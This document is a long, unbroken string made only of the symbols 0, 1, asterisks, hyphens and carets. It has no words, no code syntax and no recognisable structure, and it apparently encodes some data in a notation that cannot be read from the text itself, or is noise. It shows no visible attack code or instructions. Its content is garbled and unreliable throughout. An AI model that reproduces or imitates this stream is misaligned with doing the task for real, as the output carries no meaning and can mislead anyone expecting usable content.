11*1101*01*1*101*001^1*110101******11011011*10^110101******10-011*10^^10110^110^101011*01*00-0110^11010^1*0-11*-*00110101******-01011*101*001101*01*0^1*0-11*01**--------00110-*-00^11010110-10-11*1*^11*0010-11*0101*01*1*--------1*01*00-00^1*01^1*11*^-11*********^1*0^-001**00--11011*0-11*-*001*1*--------101011*00-00^1*01^1*01101*-11*-*001^1*01101******011**-*******01**010-1******1**0010^1*****01**00101^1******1*00-1^1******1*001*1101*****01**0^11011*****001**0010^1*****01**0-*1*****0011**1010^1********101101******11***101******1**01^1******001**00-01*****001**01**1*****001**011011******1****1*********001101*******************10^101*****001**00101011*****011***01101******1**10101******001**0010101********10101011********^1*1*****001**010-01******1*001*1*******1**10^1******1**0-0101********0-011******1**01*01*****0011**1*1011*****001**01^-*****001**01**********0011******001***010-******1*001011011******01*00--1******01**1*01*********11******001**01^1101*****011**01010-******1*001010101*****0011****01*****011**1*001********00-0^101*10^1*01*1*^1*01^1*11011*-11*-1*01^1*001*******010101010--00-*01^1*001****01**0^110^--01011*01^1*001*******-1*10--*11*01^1*001****01**0-010^--01101*01^1*001*******0-11010--00101*01^1*001****01**001**0--001101*01^1*********1***-001*1***001**0--11*****0101*00-00101***11***1^1^1****10101*101*******01*10-101^11*00-----^--001*1*0-001011*0^1101******1*10-010101*00^1^^10-0110-11**1*01*1*-----^--1010101*0-001011*0^1*0-11*--------0010-1*-0011011*-----^--11*11*0-001011**-*********-*00^-001**00--10101*0-11*-*00-----^--0010-*0-001011*0^1101*****001^^110101011*00^1^^1********0101^1*001*001*01*1*1101*0-01*--------01010-*-00^110^110-0-11*1*^1*****01***010-*00^-*001*1*-----^--0101^1*-001011*0-01*********-*00^-001**00--101101*-*00-----^--01010101*-001011*0^11010^10^-11*1*^1*********00101*001*01*001*1*1101*001011*-----^--10-101*-001011*0^11010-00110-11*1*^1********-10101*001*01*001*1*01^1*101******0011010110-101101********-11*011*1011****011**00^110-101^1**011*******011**0010^^11*-*0010110101**-001***1**********1011*001*11*00--------01010-*-00^110^1*010-11*1*^1*****01**001011**001*01*001*1*-----110--***00-001011*011011*-11**********1*0^-001**00--1^11*-*00-----110--1*1**-001011*00^1*-11*1101*0^1*0-11*01^^110101******1^-*0101******01***11011*001******01**10-101*001*11*00--------1^-1*-*^1*-11*-----110--001011*00-001011*0^1101*****00-0^1*0-**^1^^1*****01***1101**01*001*01*1*********00101*^-001**00--10-1*-*00-----110--1*101*0-001011*0^1101*****001101^101*1**01*010^1********^1^1*001*11*001*1*1101*010-*01^^110101******1^-*0101******11**01^11**1******11**11***001*11*00---------00-*-00^1101******10^1^^-*001*010^1*****01**010--*00^^1*01*1*-----110--1101*1*-001011**-*-11**********1*0^-001**00--^-*-*00-----110--00-001*-001011*010101*-11*1101*00101*0-11*-----110---00101*-001011*001011*01^^110101******-^1*0101******11**101*11*001******11**-01101*00^110101******01^101*10^^-00-11**10110-11*011****011**10^11*0101*1**011*00--------0-0-*-0011011010^11*1*^1010-00-11*101*001*1*-----110--01011011*-001011*0^1101******01*0101*11**^1^^1********001^11*001*001*01*1*********00101*^-001**00--1^1*0-11*-*00-----110--*-11*-001011*01011*0-11*1101*0^11*01^^110101******-^1*010^-10110-11*10-*-11*011****011**-^1*0101*1**011*00--------1^-1*-001011*0-11*-----10--101011**-001011*0^1101******1^101010-01*001*010^1*****001**0-001**^^1*01*1*********00101*^-001**00--1*11*-*00-----10---1011*00-001011*0^1101********0-00-*00^1*^1^11010-11*001*001*1*1101**-*-----10--1010^1*0-001011*0^1101010-^-11*1*^1**10-11*001*001*1*01^^110101******^1^1*101******01****11*001******01**10101101*00^1********-11*011*1011****011**110-1*0101*1**011*******00101011*10^^-*011**^101*0011**1*1101***10-11*011*00--------0010-1*-*-1*-----10---1*01*-001011*011011010^1*0-11*1^^1*****01**00^11**01*001*01*1*********1*1*^-001**00---011*-*00-----10--11*0101*-001011*010-*-11*1101*011011*01^^110101******1^-*0101******11**^11**001******11**00-11**1*11*00--------1^-1*-0010-*-11*-----10---*011*-001011**101*-11**********1*0^-001**00--101011*-*00-----10--^101011*-001011*01*^1*****01**0101***0^-*001*1*1101**011*0101*00101******0011*1101^-0--------0010-1*-0010-*-----10--1*0-1*-001011*0^1101*****00^10--11**001*010^101011*011*001*1**********01*^-001**00---101*-*00--------^1**0-001011*0^110101*-0-11*1*^1*********00101*00^101*001*1*1101*00-1*--------00-**-001011*0-1*0-11*01^^110101******^1^1*101******11**101011**01******11****1**1*11****011**10-11*0101*1**011****01**01*001*0101*0101*11011010^1**0^-**1*001*1011*00101*011*00--------01010-*-00^1101********001^-*00^1*^^101^-11*101*001*1*--------*1101*0-001011**011*********-*00^-001**00--110-*-*00--------*1011*0-001011*0^1101*-*1*^1*****01****001*001*01*001*1*1101*001101******001**10-101********^-11********^11011*****001**01*******001**0101*1*****001**101^1********00^1******001**^101******1***110101****************1**00-1011********0-1101*****001**1^1******001**^1011*****001***0011******11**011**********-101*********00^1*****01**001*001********1*-*****001**0-0011******1***01011*****011**011011******1**011*01********001^101*****011**10-******011**10^1******1**01^1011*****011**10-*********0^11******01***0-1*****001**101^1**********^101*10^1*01011*001101*-11*^1*01^1*001*******010101010--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**0-010^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001***0-11*****011**-0-1***11***1^1^1******0010101*11*00-----110---1101*0-001011*0^1101******11*1011011**00^1^^1*****01**0-0-**^^1*01*1*-----110--1^-*0-001011*0^11010110-00-11*1*^1*****01**00-1011*001*001*01*1*--------1^-1*-001101*0-11*-----110--1101*1*-001011*010-*********-*00^-001**00--^-*-*00-----110--1101^1*-001011*0^1101********00-^1*00^1*^-101010-11**1*01*1*1101*0-01*--------01010-*-00^1101*-110-11*1*^1*****01**00101011**^-*001*1*-----110--0-1101*-001011*0^1101*10^1^11*001*001*1*0010^1^11*001*001*1*********-1*0^-001**00--101101*-*00-----110--01101011*-001011*0-1*0-11*1101*011011*-----110--*00-*-001011*0^110101*1*-11*1*^-1*10-11*011*001*1*0101******00^^11*101*1011*^1*0-11*011**1101*110101*******-01*10^10-^-11*10101010-11*011****011**10-11*0101*1**011*******10101**101******01**^10-*001******01**01011011*00^--------1^-1*-00-1*0-11*-----10--110-**-001011*01*1*-11**********1*0^-001**00--101011*-*00-----10--10-01*00-001011*0^1101*0-10-11*1*^-0^10-11*101*001*1*1101**011*0101*01*******001*0^1011*1*00-011****011**00^110-101^1**--------0010-1*-00^11*-----10--11*101*0-001011*0^1101********010-011*00^1*^10110-0-11*011*001*1*********1*1*^-001**00---101*-*00-----10---01011*0-001011*01^1*-11*1101**-*-----10--11010-*0-001011*0^11010-1*0-11*1*^^-*011*001*1*110101******011**00101******11**-10101*001******11**10^101*00^^101^-*1011****011**0-0010-101^11****011**10^11*0101*1***110^11****011**110-1*0101*1**^1*0-11*011**1101*011****011**0-0010-101^11****011**10^11*0101*1**--------01010-*-00^1101*******0010-11011*001*010^10^1010-11*001*001*1*-----10--^1*11*-001011**001*-11**********1*0^-001**00---011*-*00-----10--110101011*-001011*00-*0-11*1101*001011*-----10----011*-001011*0^110^-*0-11*1*^10-1^-11*101*001*1*110101******011**00101******1***1011**01******1**00-11**01*1011*01011*011**1101*011****01**011*11*0101******11**011*1**1******11**0-101**1*11****011**110-1*0101*1**--------1^-1*-*-*0-11*--------00-**-001011*00^1*-11**********1*0^-001**00--1^11*-*00--------101101*00-001011*0-01*-11*1101*0^11*---------011*00-001011*0^1101*****0011*0-0110-*001*010^--010-11*001*001*1*110101******011**00101*********0010-*001*********1*-*001*1011*01101*011**1101*011****01**011*11*0101******1**0^-01*001******1**01*0101*001*11****011**00^110-101^1**--------01010-*-00^1101*****001*010^^101*001*010^1*00110-11*001*001*1*--------**01*-001011*011011*********-*00^-001**00--1*11*-*00--------*0^1*-001011*01101*0-11*1101*001101*********1011011********00101*******1**110-******1**0--11*****01**0-101********00101*01*****01***1*01********01^-*****01***1*11********101*11********110-01*****01**010^1******01**-001******1***1*01*****01**0-^1********011*11******1**01101******01**0010-01********010101********00110-01*****01***11011*****001**0-^1****************01***110-*********11*101*10^1*01011*0-01*^1*01^1*001****01**0^110^--*01*01^1*001*******0-11010--0-*001^1*001****01**001**0--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00--1*****001**01101011***001**001^1^1****10101*01****01**0011*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**0011*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********010101*1101*01101*01^1*********1***-001*1******0101011********00^1****01***01^1^1*********010101*101101*011**11010-01*110101******0^-*0101******1**00-01**01******1***0^1**1*11****011**10-11*0101*1**01101*01^1*********1***-001*1******0101011********001*01****1***1^1^1*********010101*0-00--01010^^-11*-110101*^10-*0-11*001****01**001**0--01*^1*****01**00-001**1*01****01**001**0--*****001**00-001**1*01****01**001**0--*011010^101^-*1011****011**0-0010-101^11****011**10^11*0101*1***110^11****011**110-1*0101*1**^1*0-11*01101*01^1*********1***-001*1******0101011********001*001***-***1^1^1******0010101*11****011**01^11*0101*01**1**011****011**0--*010^11**01**011****011**-0011*0101*1*****1101*01^1*********1***-*110-0010101*11****011**-0011*0101*1*****1101*01^1*********1***-*-11*10101*1^1*11****011**-0-*001011010101*01****01**001*001**0-011******01**01010-0011**01****01***1*01**011*******0011**1011*^^110-11*10-001*****01*1*110^1**^10-*11011******01**01010-0011*00---------101*00-*011**-*10-001******-**-11*00^^11*11011******01**01010-0011*0010-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------*0101*0-*011*0^1101******011011*^1**01*010^1*****01**0^1101**1*01*001*1*10-001*****01*11*001101**^-01*11011******01**01010-0011*0010-001*****001*^^11**00^11011*11011******01***10-0011*00--------0--*0-*011*0^11*10-001******01*011*011*001*0-*11011******01***10-0011*0010-001*****0--0010-11**1*0011*11011******01**01010-0011*00---------1^1*-*011*01*^1********-00-*00^^1*010-001*****0110101*1101011*001*1011*11011******01**01010-0011**101*01*******0010^^1011*10-1*001****01**011*001**010101******00101^1*0101*01****01**0101*01*010-0^^1*******0010^^1011*1*****0011**010101**1*******************011010101********110-*********1011*********00-01*******************001*11********0101*1*********1*0101*1*01**11*010-*001*001^1*001*******010101010--01011**1*******0-11010--***01101*01^1*********1***-001*1********011*****01***101****01***1^1^1******0--------00^1*00-00101*001^1*^1101********00110^1*00^1*^-110110-11*-*001*1*01010^-*00--------01^-*-00^1101*****00^10101^1011**1*010^1*****001**110-**01*11*001*1*--------110^1*0-00101*001^1*11011**********1*0--00^11010^1*011011010^11**1******0011**011*01*00^1011******001**0-011**01*011*******101*00^^1*001*101**011010-01*011*00--------0^-*0-00101*001^1*00-*1101*00101*******-0^-1011011**11011******011**0011*101**---------*01*-00101*001^1*00-*1101*********01101^1*00^--------1^-1*-*0011*--------1101^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101*101*-11*1*0110101**01*00--------10101101*-00101*001^1*0-1*0101*001101*----------01*-00101*001^1*^11*01^1*11****011**0110-*001011********-0^1*********-*********0011*********10^11********01101101********01010^1********1010^1********0-*********0011*1*******************0-*********01101*0101*10101*001*1*********1*001*0-00-*001^1*001*******0-11010--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001**010--********0110-1***01***1^1^1******0--------11011**-*01*001^1*0101*0-11*01010^-*00--------01^1*00-*01*001^1*0101*0-11*--------1^-1*-0010-*--------101011*00-*01*001^1*01011**********1*0^-0010-01*011**1101*01*00101101010^1*001**11*001011*0101**011010-01*011*00---------^1*0-*01*001^1*^1101*******1**1^1*001*010^1*****01***110-*00^-*001*1*1101*00101******0010101010-1011011**11011******011**0011*101**--------1*-*0-*01*001^1*01101*1101*01101*0-11*--------0^-1*-001101*0-11*--------11*001*-*01*001^1*^1101********01^^1*00^1*^1********110-01*001*11*001*1*********10101*********1**0101*101*01^11*00^110^1^^-11*1*011*1*00101*00--------^10101*-*01*001^1*0101*0-11*0101*001101*--------00101101*-*01*001^1*1*^1*****01**0-0^1*00^101*001*1*01^1*11****011**1010-*001011*********1101**********1*********10-1*******************11*101********10^101********010-1********00101^1********101^1********0010-1********010101*********010-1*********11*0101*1*1*001*1*********001^1*0-00-*001^1*001*******010101010--0011*001^1*001****01**0-010^--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***--*****01**0011****011***01^1^1*--------1011**0-*01*001^1*01101*01010^1********^101^10-0-*00---------10-*-001*^11*-0-11*011*001*1*--------01^1*00-*01*001^1*10-**********1*0010-0010-01*011**1*0--------011011*00-*01*001^1*1101101010-*1*^1********1**1*00^101*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------1^101*0-*01*001^1*00-*1101*00101****1**01*0101*10^11011******011**0011*101**---------0011*0-*01*001^1*^1101*****001*10-^11**0^1^^1*****01**001^101*00^-*001*1*1101**101*--------1^-1*-*-1*--------001*01*-*01*001^1*^1101********00-1011*00^1*^^1*10-11*011*001*1*********0^1*********1**0101*101*01^11*00^110101*0110-11*1*011011**001*00---------00101*-*01*001^1*^110101*^10110-0-11*101*001*1*1*^10110-0-11*101*001*1*0101*001101*--------110-01*-*01*001^1*^11*01^1*11****011**0010-*001011********110^1********010110101********1^^1********01*11********010110101********0110-*********101101********0110-********00-*********010110101*******************1*1*********011*0101*1*1*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001****01**0-010^--0101*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0110-11*****01***101****01***1^1^1*********--------101**00-*01*001^1*0-1*01010^1*******0011**1010-0-*00--------01^-*-00^1101********0--01*00^1*^1*****01**01*01**01*11*001*1*---------001*00-*01*001^1*01011**********1*0010-0010-01*011**1*0---------011*00-*01*001^1*^1*0-11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------001^1*0-*01*001^1*01101*1101*00101******00-00101*101*1**--------1101101*0-*01*001^1*01101*1101**101*--------1^-1*-0010-*--------1101011*0-*01*001^1*^1101*-0011*^1********101*11*001*01****01**0-010^--********011*011*001*01*******0-11010--*****00^1010^-1**01*010^1********01*001*00^101*001*1*********110101********001**0101*101*01^11*00^110101*0010-11*1*011*1*0011**---------00101*-*01*001^1*0-1*0101*001101*--------1*1101*-*01*001^1*^1101*****00^-*-101**1*010^-101*-11*101*001*1*01^1*11****011**1^-*001011********00^11*********011*********0^^1********01*1*********-011*********-101******************0010101101*********11*********10-11********0^1*1********10-11*********11*0101*1*1*001*1*********-^1*0-*11*001^1*001****01**001**0--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**0010-11*****01**010101***00-***1^1^1******0--------*11**-00101*001^1*0-1*01010^11011******0-1**10-0-*00---------001*00-00101*001^1*0-1*--------1^-1*-00-01*--------101011*00-00101*001^1*0101*0-11*********^1*010-^^110^10110^-1*^1**01******0010-**-1**1*011******0011**-10101*00^1011******001**01010-1*001*101**011010-01*011*00--------10-01*0-00101*001^1*11011*1101*00101******00101*0-11011011011******011**0011*101**--------1*-*0-00101*001^1*110110^-1*1*^1********0-0011*00^-*001*1*1101**101*--------0^-1*-001101*0-11*--------1101*1*-00101*001^1*01011**********1*********01**0101*101*01^11*00^1101010^^-11*1*011011**001*00--------00^101*-00101*001^1*^110101*^1^10110-11*011*001*1*1*^1*****01**011*1**01*11*001*1*0101*001101*--------110-01*-00101*001^1*^11*01^1*11****011**0^-*001011*********1101********00101^1*********0-********010^1********00^10101********0011011*********11011********0101*1********00-********************01*101*********1101*********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0^^1*****001**001****00101***1^1^1*01010^1*******0011**0010-0^1*0-----110--0-1101*-*-*01^1*0-*0-11*01*1011*******0011**0010-0^1*0-*0011011******001**0010-*1****01***1*010--01011*00101*******01*10-101101*******00^10^1010-*1*001*1*--------1^-1*-0010-*-----110--00110-*-*-*01^1*1*1*-11*********^1*00-1^-*001*1*^1*01*1*-----110--0--1*-*-*01^1*^1101*****001010101011*101*001*010^1*****001**11011**00^1^1*1*1*^1*01^1**11010-01*^1*01*1*-----10--1^11**-*-*01^1*-01*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01**01010-01101*01*1*1*01101^^1^11010^1*01*1**11010-*001*1*0011*01*1*11011******01***10-00101*01*1*101*001*1*1*******00^101*010-*1*001*1*-----10--10110101*0-*-*01^1*^110101*^-101*-11*-1*01*1*1*^1********010-01*00^-1*01*1*^1*01^1*-01**1*01^1*^101^-*-011******01***10-01101*01*1*-----10--1^-1*0-*-*01^1*0-1*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01**01010-00101*01*1*01*110-1*0-11*-*001*1*--------01^-*-00^1101********01^1011*00^1*^1*****01**0011011**01*^1*1*1*-----10--10-0101*-*-*01^1**11**********1*0^-00-1101**^-11*011*001*1*-----10--1**11*-*-*01^1*^1101*****001*0110101*11*00^1^^1*****01**01011*1*00^1*1*1*1*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--110110-*-*-*01^1*^110101010-0-11*1*^1********11*001*001**1*1*1*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01***10-00101*01*1*101*001^1*1^^^11*01*1*11011******01***10-00101*01*1*001*001^1*0101******0011*1101^-0--------11*1*00-*-*01^1*01011*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1****01**001*0010--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------0^-1*-001011*0-11*--------*0101*0-*-*01^1*1*^1*10^-11*-1*01*1*********0011*0^-001011*010^1*101^-1*0011011******001**0010-*1****01***1*010--0---------1011*0-*-*01^1*-1*0-11*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1****01**011*0010--00101*01*011011**1*01^-**^^^1010110101011*001*01*00--------^1^1*-*-*01^1*^1101011011010-11*1*^1********01101101*00^-1*01*1*01^1*11****011**1*-*001011*****01**0110^11*********1011********001*01*****001**01^-1********-1011********0^-*********01*11*****01**01^1101****************1***0-******1**01101101********0010^11********0-*1********0-*1*********11******01**001101******01***01^1********1*-1********0^1*101*^-*01*1*********-0011*0-001^1*1^1*001*******010101010--00^1*1^1*001****01**001**0--01*1*1^1*001****01**0^110^--*001*1^1*001****01**0-010^--0-1*01^1*001****01*****0--001101*01^1*********1***-001*1***001**0^-11*****001***-1***011***1^1^1*010101*101*******01*10-101^11*00-----110---0101*0-001011*0^1101*****001011*-^11**1*010^1********1101*1*001*11*001*1*-----110--1101011*0-001011*001011*---------00-*-00^1101*****00101010-001***^1^^1********11011011*001*001*01*1*-----110--101*01*-001011*0^1101*****00-*-010-**1*010^1*********00101*001*11*001*1*********00101*^-001**00--110-*-*00-----110--01*101*-001011*0^1101******110110-*101*001*010^1*****001***-**0^^1*01*1*1101*0-01*--------1^-1*-*^1*-11*-----110----01*-001011*0^1101*****00--101*01**0^1^^^-110-11**1*01*1*********1*1*^-001**00--101101*-*00-----110--^11011*-001011*0^11*1101*010-*01^^110101******1^-*0101******01***001**01******01**101*1**1*11*00---------00-*-00^1101********00-*1*00^1*^1*****01**01011011**^-*001*1*-----10--1011**00-001011*010-*********-*00^-001**00--^-*-*00-----10--101101**-001011**-*1101**-*-----10----**-001011*0^1101********011011011*00^1*^101101*-11*101*001*1*01^^110101******^1^1*101*********-*1*001********00110-11*00^110101******01^101*101********00110-11*001*********1010101*001*11****011**0-011*0101*1**011****01**01*001*0101*0101*11011010^1*0^^11*0101**^11011*00101*011*00--------0010-1*-*0-*-----10--1^1011*0-001011*01*1*-11**********1*0^-001**00---011*-*00-----10--1010-1*0-001011*01^1*-11*1101*001011*-----10--^1*01*-001011**001*-11*01^^110101******^1^1*101******11**-00-*001******11**0^^1*001*1*******010-11*11*1011****011**0011011*0101*1**011****011**0011*1*101*^11*1*110101^--1011*001*******************00101*01*0^11011*011*00--------1^-1*-001^1*-11*-----10---*011*-001011*001101*-11**********1*0^-001**00--1^11*-*00-----10--^101011*-001011*0^1101*****001010-01^1101*001*010^-10-0-11*011*001*1*1101**011*0101*00101******0011*1101^-0--------0010-1*-*-1*-----10---00-1*-001011*01*^11*1*-11*101*001*1*********1101*0^-001**00---101*-*00---------**00-001011*0^1*0-11*1101*0^11*01^^110101******-^1*0101******1**0011*01*001******1***10-1*001*11****011**-^1*0101*1**011*00--------1^-1*-00^1*0-11*---------101*00-001011*0^1101*********0-01*00^1*^110101010-11*001*001*1*********1*1*^-001**00--1*11*-*00--------^^1*0-001011*00-*0-11*1101*011011*01^^110101******1^-*0101******01***00101*001******01**101*11*001*11*00---------00-*-00^110101*^^-110-11*001*001*1*1*^1********01010101*001*01*001*1*---------0-*0-001011*0^1101********01*0-*00^1*^10-1^-11*001*001*1*********1*1*^-001**00--101011*-*00--------1*^1*-001011*0-01*1101*001101******01**0110-1********00-1011******************0010110101*****01****1******1***0-11*****01**0-011******1**001101*********1*101********01*101********0011011******1**001*-*****001***101******1**001*-********1^^1********011*11*****01**0-00101*****01***1*01********^1*******1**11*01*****001**01*0011********0^-******1**-101******1***1*01*********11*101*10^1*01011*010101*-11*^1*01^1*001*******010101010--*01*01^1*001****01**0^110^--0-*001^1*001*******0-11010--0011*001^1*001*******-1*10--0101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001***0-11*****001**00^-***11***1^1^1*********010101*11*00-----110--1*0101*-001011*0^1101********00^1101*00^1*^1********001^11*001*11*001*1*-----110--10101101*-001011*010101*-11*--------1^-1*-001^1*-11*-----110--001*11*-001011*0^1101********011*001*00^1*^1*****01**00-0-*00^^1*01*1*********00101*^-001**00--^-*-*00-----110--1*0-*-001011*0^1*0-11*1101*0-01*--------1^-1*-00^1*0-11*-----110--0^-1*-001011*0-1*0-11**********1*0^-001**00--101101*-*00-----10---***-001011*0^110101^^1********-01101*00^101*001*1*1^^1********01010101*00^101*001*1*1101*0^11*-----10--^-**-001011*00-1*110101******011**00101******01**^-**01******01**1^11**01*0011*01101*011**1101*011****011**1*101*0101******01**01***001******01**-0101**1*11****011**0011011*0101*1**--------01010-*-00^1101******1*0-011***1*010^11*0010-11**1*01*1*-----10---01101*0-001011**11*0-11**********1*0^-001**00--1*11*-*00-----10--^11011*0-001011*010-*1101**011*0101*01*******001*0^1011*1*110^1011*^101^-*^1****01**01**-0-^1**--------0010-1*-0010-*-----10---01*1*-001011**011*********-*00^-001**00---101*-*00-----10---01^1*-001011*0^11*1101*011011*--------1^-1*-0010101*-11*-----10---010101*-001011*01101*0-11**********1*0^-*01****01**01**-0-^1**--------0010-1*-00^11*-----10--^1*11*-001011*00-*0-11**********1*0^-001**00--101011*-*00-----10--110101011*-001011**0110^1011*1*^^1*10-11*001*001*1*1101**-*-----10--^^-*-001011*0-01*-11*110101******011**00101*-0110-11*00^110-11*^101^-*^1****01**01**-0-^1**01011*011**1101*001****01**01**-0-^1**--------1^-1*-001011*0-11*--------1011**0-001011*0^1101******-0^10-011*001*010^1*01010-11*-*001*1*********1*1*^-001**00---011*-*00---------001*00-001011*01*^-110110-11*011*001*1*1101*001011*--------001011*00-001011*00^1*-11*110101******011**00101******1**010-01**1******1**0-0101**1*0011**11*011**1101*011****011**1*101*0101******1***1^1**1******1**0^11**001*11****011**1011011*0101*1**--------0010-1*-*1011*--------0101011*0-001011*0^1101******-001101011011*00^1^^1********0010^1*00^101*001*1*********00101*^-001**00--1^11*-*00---------*01*-001011*0^110101^1*-11*1*^1********1*1011*001*01*001*1*1101*001101*********01101101********--11*****01**0^-11****************1**010^-********01^11*****001**0-0^1*****01**010-011*****01**0-10101********00-011********101*11*****01**0-^1********00110-1********1^1******01**0^-01*****01**00--*****001**00-01*********11011*********010^1********1^-********0--11*****01**010101*********1^-*****001**00--*********011*101*10^1*01011**101*-11*^1*01^1*001*******0-11010--*01*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**0^110^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**0-0-1*****001**1010^1***001**001^1^1****10101*01****01**01**-0-^1**01010^1*********001*11*10101******0011*0-^-*1****01**01**-0-^1**010101*101*******^1*-1011*01**11*01*******0010^^1011*-101*0101******001011*-110110110101******11011011*10^110101******-01011*101*1011*001****01**01**-0-^1**0101*******011*1*101*10101*101*******^1*-10110-*001101*01*******0010^^1011*-101*0101******001011*-110110110101******11011011*10^110101******-01011*101*1011*001****01**01**-0-^1**011****01**0^-11*101******01**1*-**1******01**0^101**1*1010^1********-**11*-101*********1***0-001**00--101101*1**00--101101*1*^-101*001****01**01**-0-^1**--------10110-*-00^11010^11*1*^1*01010-11**1*01*1*------0-1101*001*-*01*001^1*0101*0-11*********^1*0010-001*^101101*001****01**01**-0-^1**01010^1*******001*11*011*1011****011**-1101*0101******01**001***01******01**1101***1*11*********11*101******01**011***01******01**11***001*1101*001****01**01**-0-^1**01010^1*******00101*1*11*1011****01**0-01101*101******01**1*^1*001******01**10-011*001*1101*001****01**01**-0-^1**01010^1********-101*11*1011*******0-0011*101******01**-*1**1******01**01*1**01*1101*001****01**01**-0-^1**01010^1********10^1*11*1011****011***1011*0101********0010^-*001*********00-01*001*1101*001****01**01**-0-^1**01010^1*******00--*011*1011*********11*101******11**0-*1*001******11**1101*1*001*1101*001****01**01**-0-^1**01010^1********-11*011*1011****011**0-^1*101******11**-101**01******11**11*1**01*1101*001****01**01**-0-^1**01010^1*******001011**11*1011********11**101******1**0010-1**1******1***0^1**1*1101*001****01**01**-0-^1**01010^1*******0011*11*11*1011****011**0-1101*101******11***1^1*001******11**-1*1*001*1101*001****01**01**-0-^1**01010^1********01101*011*1011****01**0-1**0101******01**010-11*001******01**1101*1*001*1101*001****01**01**-0-^1**01010^1*******001*01*011*11*^101101*001****01**01**-0-^1**01010^1********001^^11*-^1101*^101101*001****01**01**-0-^1**-----^--**11*-*01*001^1*^1101*****00-10-*001**01*010^^1*10-11*1101*01*1*--------**01*-*-*0-11*---------*01*-00^1101******1101101*1^1*001*010^-011*-11*1101*01*1*---------0^1*-00^110101*^1********010-01*001*101*01*1*1*^1*********0^1*001*101*01*1*--------10110101*-*-*0-11*--------00101101*-00^1101********0-10-*00^1*^1********00^101*001*101*01*1*---------*11*-*-*0-11*--------0-0011*-001*^1*****01**01*-**^^1*01*1*--------11011011*-00^1101********010101011*00^1*^1^-10-11**1*01*1*--------11010-*-*-*0-11*--------0^-1*-*0101*-11*-----110--110^1*0-*01*001^1*^1101******10-00110^1**1*010^1*****01**0^-11*00^101*001*1*********-*01********-0-********01*011********00101101********0-*1**********01********01^11********0011*1*********0-*********10101*********0101*0101*10^1101**010-11*011*00-----10--1010-01*-00^1101******0-110-10101*001*010^1*****001**01101**00^101*001*1*-----10--1101^11*-00^1101*********010-*00^1*^1********1*0-*001*11*001*1*-----10--1*00-*-*-*0-11*-----10---^-*-*-*0-11*-----10--10-0-*-*-*0-11*-----10--11010-1*-001*^^101*-11*011*001*1*-----10-----*-*-*0-11*--------011**00-00^1101********0^10-*00^1*^1*01*-11*0101*01*1*--------01101**-*0011*--------00-**-*0-*--------01*1*00-00^11010^11010-11*1*^110^^-11**1*01*1*---------101*00-*1011*--------101011*00-*0011*--------110-*00-001101101011011*1*^^101010-11*^1*01*1*---------*1*0-00^1101********001*001*00^1*^1*11010-11**1*01*1*---------0101*0-00^1101*1*10-11*1*^^1^10-11*^1*01*1*--------00^11*0-00^11010^11*-11*1*^1********11010-*00^^1*01*1*--------0010-*0-00^1101******0-***01*00^1^^1^10^-11*-*001*1*--------001*01*-*-*0-11*--------1101*1*-00^110^-0110-11*1*^1*01*-11**1*01*1*--------*1^1*-0010101*-11*---------1^1*-*0011*--------10^101*-*-*0-11*--------00110101*-001101101011011*1*^^-*-11**1*01*1*--------*-01*-00^110101*^110^^-11**1*01*1*1*^1********-00101*001*001*01*1*--------110^11*-00^11*-11*--------0^1011*-00^1101*****0011*00101^101*00^1^^101*110-11*-*001*1*--------01*-*-00-01*-11*--------^10-*-*0-*---------10-*-001*^1**10-11*011*001*1*-----10--1*01011*-*01*001^1*0-1******01***1011******1**01*01******1**001011******01**01^1******01***11******001**001**********110-11********11010-********10^-********-11011********0^1011********001^11********011*11********010-01********01010101********10-001********1011*1********10-11********00110-********0^1011********001*11*********-01********01010101********0^^1********0011011********00-101********00-11**********11*********0^1**********1*********00-1*101*10^1101*011*011**101*0011****011**0011011*0101*1**010101*0101*--------^10-*-00^1101*****00-0^^11011**1*010^110110110-11*101*001*1*--------1*-*0-*01*001^1*^1101******00-001101*1*001*010^1*****01**00-0011*00^101*001*1*********10101*010-*01****01**01**-0-^1*******011**010-1*****0011**^-11*****011**0110^1*****001***00-*****011**^-11*****011**0-0011********0^11******001*00101011******01**--01********0^11******01**0-0-******1**1*101*****001**0-0-*********011******11**0101*******01*0011011*******1*001*^1*****001**********001**001011*****0011**01^1******11**0^1101*****011**0-101******01**-01******11**01*01******1**1*1011*******************1011*101*1*1*001*1*001*001^1*01101*1101*01^1*001*******-1*10--00101*01^1*001****01*****0--0^1*01^1*001****01**001**0--*01*01^1*001****01**0-010^--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001**00110-1*****0101*001^101***101***1^1^1*********010101*1101*01101*01^1*********1***-001*1******0101011********00^1****01***01^1^1******0010101*01****01****00-0-^1**01